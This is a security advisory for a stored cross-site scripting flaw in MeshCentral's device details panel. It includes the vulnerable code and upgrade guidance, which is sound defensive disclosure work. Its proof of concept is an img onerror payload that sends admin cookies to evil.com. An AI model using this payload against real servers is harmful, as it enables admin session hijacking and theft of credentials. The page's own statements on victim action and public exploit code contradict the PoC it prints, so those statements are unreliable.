GHSA-c7hr-448w-65px MeshCentral has unsanitized data fields
A compromised agent can inject malicious scripts via unsanitized OS description fields, leading to admin session hijacking when viewed.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- Available
What is GHSA-c7hr-448w-65px?
GHSA-c7hr-448w-65px is a cross-site scripting vulnerability in meshcentral, published on 18 Aug 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.
Official description
Description
A rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the device details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.
Technical Details
// meshagent.js:1903 -- Agent input, only type check
if (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;
change = 1; }
// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()
if (node.osdesc) { x += addDeviceAttribute("Operating System", node.osdesc); }
// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML
// INCONSISTENCY: Same field IS escaped elsewhere:
// Line 13529: addDetailItem("Version", EscapeHtml(node.osdesc), s)
// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')
Additional unescaped agent fields:
- node.name unescaped in sharing dialog (line 4695), user group list (line 18625), permission dialogs (lines 18675, 19413) – HIGH
- cpuinfo.thermals[].InstanceName attribute injection (line 13502) – MEDIUM
- volumes[].name unescaped in file browser (line 12612) – MEDIUM
No server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.
Proof of Concept
Rogue agent sends via WebSocket:
{
"action": "coreinfo",
"osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
"name": "Legit-PC"
}
Payload fires when any admin views the device details panel. No click required.
<img width="939" height="587" alt="image" src="https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1" />
Which versions are affected by GHSA-c7hr-448w-65px?
2 open source packages ship an affected version, including meshcentral.
| Package | Affected | Fixed in |
|---|---|---|
meshcentral npm | All versions | 1.1.60 |
meshcentral npm | All versions | 1.1.60 |
How do I fix GHSA-c7hr-448w-65px?
Upgrade meshcentral to 1.1.60 or later.
Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.
Is GHSA-c7hr-448w-65px being exploited?
There is no known exploitation of GHSA-c7hr-448w-65px in the wild and no public exploit code.